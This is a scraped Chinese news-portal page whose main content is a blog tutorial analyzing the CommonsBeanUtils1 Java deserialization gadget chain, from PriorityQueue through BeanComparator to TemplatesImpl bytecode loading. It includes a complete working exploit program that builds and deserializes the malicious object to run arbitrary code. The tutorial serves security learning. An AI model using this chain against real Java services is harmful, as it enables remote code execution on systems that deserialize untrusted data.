最新要闻
- 全球快资讯:董明珠:如果员工经常在我面前拍马屁 我就开除他
- 当前关注:网店因商品拆封拒绝七天无理由退货:最终被罚4万元
- 焦点!全村停电 男子用比亚迪DM-i给自家全屋供电 邻居:为啥就他家有电?
- 丫丫伙食新添胡萝卜:但它没碰
- 天天快讯:剧版《最后生还者》顺利收官:M站评分达84分
- 聚焦:subtotal函数的作用_SUBTOTAL函数的用法
- 环球观天下!中国移动涨停 市值2.1万亿创历史新高 挑战A股第一贵州茅台
- 今日聚焦!亲肤0刺激 润本婴儿驱蚊喷雾大瓶9.9(超市39.9)
- 天天视讯!高蛋白低脂美味!舌里减脂鸡胸肉5袋到手12.9元
- 头条焦点:净利润翻倍 宁德时代在补什么课?
- 最新资讯:卖事故车被判退一赔三!车主:特斯拉让我赔代步车50万租金
- 玩家不用担心 分析师称微软收购动视暴雪只会伤害索尼
- 全球观焦点:游客吐槽25元看海洋馆就几个鱼缸:现场和家里客厅一样大
- 环球百事通!樱桃推出KW 9200 MINI超薄键盘:剪刀脚按键、三模连接
- 全球快资讯丨雅阁车主第一次坐比亚迪汉 自侃像是土包子进城 信仰崩塌
- 焦点讯息:美国公示丫丫回国相关申请:快回家了!
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
CommonsBeanUtils1反序列化分析
cb链子
0x01 CommonsBeanUtils介绍
Apache Commons 工具集下除了collections
以外还有BeanUtils
,它主要用于操控JavaBean
。
(相关资料图)
- 以 Utils 结尾,一般这都是一个工具类/集
先说说 JavaBean 的这个概念
这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。
CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:
比如一个Baby类是一个简单的JavaBean的类,那么它一定满足如下几个要求:
- JavaBean 类必须是一个公共类,并将其访问属性设置为 public ,如: public class Baby
- JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器,例如:public Baby()
- 一个javaBean类不应有公共实例变量,类变量都为private ,如: private String name;
- javaBean属性是具有getter/setter方法的成员变量。也可以只提供getter方法,这样的属性叫只读属性;也可以只提供setter方法,这样的属性叫只写属性; 如果属性类型为boolean类型,那么读方法的格式可以是get或is。例如名为abc的boolean类型的属性,它的读方法可以是getAbc(),也可以是isAbc();
一般JavaBean属性以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名。例如:属性名为userName,其对应的getter/setter 方法是 getUserName/setUserName。
举个例子:
public class Baby { private String name = "Drunkbaby"; public String getName(){ return name; } public void setName (String name) { this.name = name; }}
这里有两个简单的getter和setter方法,如果用@Lombok
的注解也是同样的,使用@Lombok
的注解不需要写 getter setter。
Commons-BeanUtils 中提供了一个静态方法
PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下:
import org.apache.commons.beanutils.PropertyUtils;public class babytest { public static void main(String[] args) throws Exception{ System.out.println(PropertyUtils.getProperty(new Baby(),"name")); }}
0x02 CommonsBeanUtils1 链子分析
上我们的经典CC图,并且画出非cc链子的部分
1.链子尾部
链子尾部肯定是要通过TemplatesImpl字节码的方式进行攻击的,从上面图片我们可以看出来
回顾一下TemplatesImpl的过程
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
链子的最开头有一个TemplatesImpl.getOutputProperties(),正好她是满足getter方法的,并且作用域是public,所以我们是可以通过CommonsBeanUtils总的PropertyUtils.getProperty()方式获取
2.链子中间
所以链子进行到了PropertyUtils.getProperty(),我们就需要去找哪个地方调用了同名的getProperty()方法呗,反正最后要走到readObject里面
这里我们通过find usages找到了一个BeanComparator
类,他的compare方法里面如果传入property不为空,则对两个对象进行“取值比较”吧,理解的话就是比较器会看俩人有没有指定比较的东西,没有就直接比较对象,有的话就取对应的东西比较
3.链子开头
如果对cc比较熟悉的话,或者直接看下面的这个图 我们可以发现我们之前在cc2、cc4的部分有过关于comparator同名函数然后往后走的链子,当时用的是TransformingComparator
当然这个是Commons Collections和Commons Collections4都有的,当时我们用的是四的,那么这里的话我们是不是可以考虑把TransformingComparator
替换成BeanComparator
然后街上前面的就成了
0x03 EXP编写
首先给出一个调用链
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- BeanComparator.compare()
- PropertyUtils.getProperty()
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- TransletClassLoader#defineClass()
EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cbtest1 { public static void main(String[] args) throws Exception {//TemplatesImpl动态加载字节码 byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "wahaha"); final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare()); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(obj); priorityQueue.add(2); setFieldValue(priorityQueue,"comparator",comparator); serialize(priorityQueue); unserialize("serzsd.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin")); oos.writeObject(obj); } //反序列化数据 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
运行结果:
参考资料:
- https://www.freebuf.com/articles/web/339186.html
- https://www.cnblogs.com/sunTin/p/7172932.html
关键词:
-
CommonsBeanUtils1反序列化分析
cb链子0x01CommonsBeanUtils介绍ApacheCommons工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean。以Utils
来源: IntelliJ IDEA使用教程——不使用maven管理下导入jar包
每日精选:使用Docker搭建MinIO集群服务
CommonsBeanUtils1反序列化分析
全球快资讯:董明珠:如果员工经常在我面前拍马屁 我就开除他
当前关注:网店因商品拆封拒绝七天无理由退货:最终被罚4万元
焦点!全村停电 男子用比亚迪DM-i给自家全屋供电 邻居:为啥就他家有电?
丫丫伙食新添胡萝卜:但它没碰
天天快讯:剧版《最后生还者》顺利收官:M站评分达84分
CommonsCollections4反序列化分析
环球视讯!前端开发爬虫首选puppeteer
聚焦:subtotal函数的作用_SUBTOTAL函数的用法
环球观天下!中国移动涨停 市值2.1万亿创历史新高 挑战A股第一贵州茅台
今日聚焦!亲肤0刺激 润本婴儿驱蚊喷雾大瓶9.9(超市39.9)
天天视讯!高蛋白低脂美味!舌里减脂鸡胸肉5袋到手12.9元
头条焦点:净利润翻倍 宁德时代在补什么课?
最新资讯:卖事故车被判退一赔三!车主:特斯拉让我赔代步车50万租金
环球消息!【数字化运营】PagerDuty平台与上海道宁帮助您的数字基础设施中自动化、编排和加速响应
LocalDateTime应用比较日期
玩家不用担心 分析师称微软收购动视暴雪只会伤害索尼
全球观焦点:游客吐槽25元看海洋馆就几个鱼缸:现场和家里客厅一样大
环球百事通!樱桃推出KW 9200 MINI超薄键盘:剪刀脚按键、三模连接
全球快资讯丨雅阁车主第一次坐比亚迪汉 自侃像是土包子进城 信仰崩塌
焦点讯息:美国公示丫丫回国相关申请:快回家了!
全球观速讯丨二进制安全——缓冲区溢出
每日看点!数组指针&一维数组&二维数组ve
【环球时快讯】面试官:如何在千万级数据中查询 10W 的数据,都有什么方案?
网络安全(中职组)-B模块:压缩包破解
全球快资讯:Rancher 管理 Kubernetes 集群
李想:L7、L8、L9是世界上最安全的车 副驾坐的是我老婆
天天快报!美版《西游记》定档!阵容强大:奥斯卡影后杨紫琼饰观音、吴彦祖演美猴王
日本原装进口!雀巢金牌速溶黑咖啡大促 28.9元到手
Android 14不再允许“杀后台”!一键加速App别装了
上汽投资成立股权投资合伙企业 出资额5亿
环球快资讯丨解惑:教你在 Arch Linux 终端上更改 WiFi 密码
教程|在矩池云使用 Stable Diffusion web UI v1.5 模型和 ControlNet 插件
【环球新要闻】应聘软件测试 HR 会问到哪些问题?收藏这一篇就够了!
Nebius Welcome Round (Div. 1 + Div. 2)
环球快讯:火山引擎 DataTester:一个 A/B 测试,将一款游戏的核心收益提升了 8%
环球最资讯丨华擎Intel显卡集体降价 最多20%:RTX 3060瞬间不香了
容声冰箱质量怎么样?容声冰箱怎么调温?
oracle是什么软件?oracle怎么创建表空间?
bios是什么意思?如何刷主板bios?
苹果手表可以连接安卓手机吗?苹果手表怎么配对新的手机?
empty来显示暂无数据简直太好用,阻止用户复制文本user-select
raw格式怎么打开?raw格式怎么转换jpg?
【快播报】《瞬息全宇宙》七项大奖横扫奥斯卡!杨紫琼获封奥斯卡影后:亚洲首位
新一代Y9000P来了!联想拯救者2023生态新品发布会官宣
环球短讯!小红书后台删用户照片遭系统拦截?官方回应:只是清理临时缓存
仅隔17天 中国火箭又一次成功为海外客户发射荷鲁斯2号卫星
【世界时快讯】749元 一加Buds Pro 2轻享版无线耳机开售:48dB深度降噪
今热点:Spring Boot 分片上传、断点续传、大文件上传、秒传,应有尽有,建议收藏!!
全球信息:Ai翻译还是挺香的
限时促销,火山引擎 ByteHouse 为企业带来一波数智升级福利!
方舟里面风神翼龙怎么抓_方舟生存进化风神翼龙怎么抓 具体抓捕方法介绍
每日速递:豆瓣7.9分 《阿凡达:水之道》电影拿下奥斯卡最佳视效奖:实至名归
当前速看:iPad Pro 2024要大涨价:比MacBook Pro还贵
每日视讯:美佛州海滩清出近两吨死鱼:民众直呼“辣眼睛”
全球即时:上班一周不用充电 比油车少花70元!哪吒S用车成本秒杀燃油车
创时速435公里纪录 CR450型动车组首台车涂装完成 顺利交付
【全球热闻】架构师日记-软件高可用实践那些事儿
使用 VS 2019 将 c# 生成 DLL 动态链接库文件
环球头条:获亚洲电影大奖最佳男主角 刘嘉玲给梁朝伟颁奖
全球信息:腾讯前端最高级别专家!T13技术大佬黄希彤被曝遭裁员
环球微头条丨老人推倒摩托案车主回应带货遭网暴:清者自清
男子称花了2999元网购iPhone 13 Pro却收到过保XR:商家已联系不到
今日播报!老人把7万养老钱埋树下找不着 掘地三尺才找回 专家不建议埋
全球热讯:NAT 穿透原理浅浅说 ---转发
前端设计模式——职责链模式
世界微速讯:郑州车辆限行违章怎么处罚_郑州机动车限行
环球快资讯:知名安全公司Acronis被攻击 黑客:他们技术渣 只是羞辱一下
踩踏式降价背后:燃油车这回真崩了
又一地方补贴了 深圳一比亚迪4S店汉EV全系限时补贴1万元
环球视讯!李想:美国人没那么懂车 特斯拉对异响控制是中下档水平
非java异构服务如何集成到SpringCLoud集群中
环球热议:全球首创双枪充电!比亚迪高端MPV腾势D9三月新增订单或再破10000台
当前讯息:我国每年废弃手机约4亿部:你的怎么处理 闲置、提炼金子还是?
焦点消息!多家科技公司被硅谷银行坑了 ChatGPT老板紧急援手:钱先用着 慢慢还
魔兽国服重开遥遥无期 暴雪釜底抽薪:全球服直营
今日报丨Zen4大翻身 AMD移动CPU之王来了:55W战平253W功耗旗舰i9
天天看热讯:读Java性能权威指南(第2版)笔记15_垃圾回收B
快讯:舒筋丸和脑络通胶囊可以一起吗_脑络通胶囊能长期吃吗
焦点简讯:新娘自己主持婚礼省下万元 仅花费160元:网友点赞 本人回应不是给别人看
Docker圣经:大白话说Docker底层原理,6W字实现Docker自由
当前热门:工作一年,我重新理解了《重构》
【QCustomPlot】版本迭代日志
游客饮料不慎掉落被大熊猫雅一捡来喝:园方回应正密切留意
微速讯:30多家车企集体降价:已经没人看得上油车了吗?
当前看点!比尔·盖茨最爱的游戏:用40多年 开启一个时代
【天天快播报】AMD:我们也可以做出RTX 4090!只是不想做而已
天天速讯:抉择!荷兰屈从美国,对华限制但有保留,瑞士顺从美国,面临中资暴减
【天天热闻】MySQL学习笔记-事务
观天下!day01-SpringBoot基本介绍
每日视讯:3-2 字符串
浙江人1年花18亿买香奈儿 网友:原来消费降级的只有我
环球观点:中国杂牌显卡蜂拥进入美国:矿卡滞销 帮帮我们!
当前快看:《生化危机4:重制版》泄露艾达王美图:脚踩恨天高 性感妖娆
48GB大容量配8000MHz高频率!芝奇推出创纪录的DDR5内存
redux crateStore connect
当前快讯:反序列化刷题
天天热门:钻石不值钱了 1/3原价就能买到!中国河南小县城颠覆神话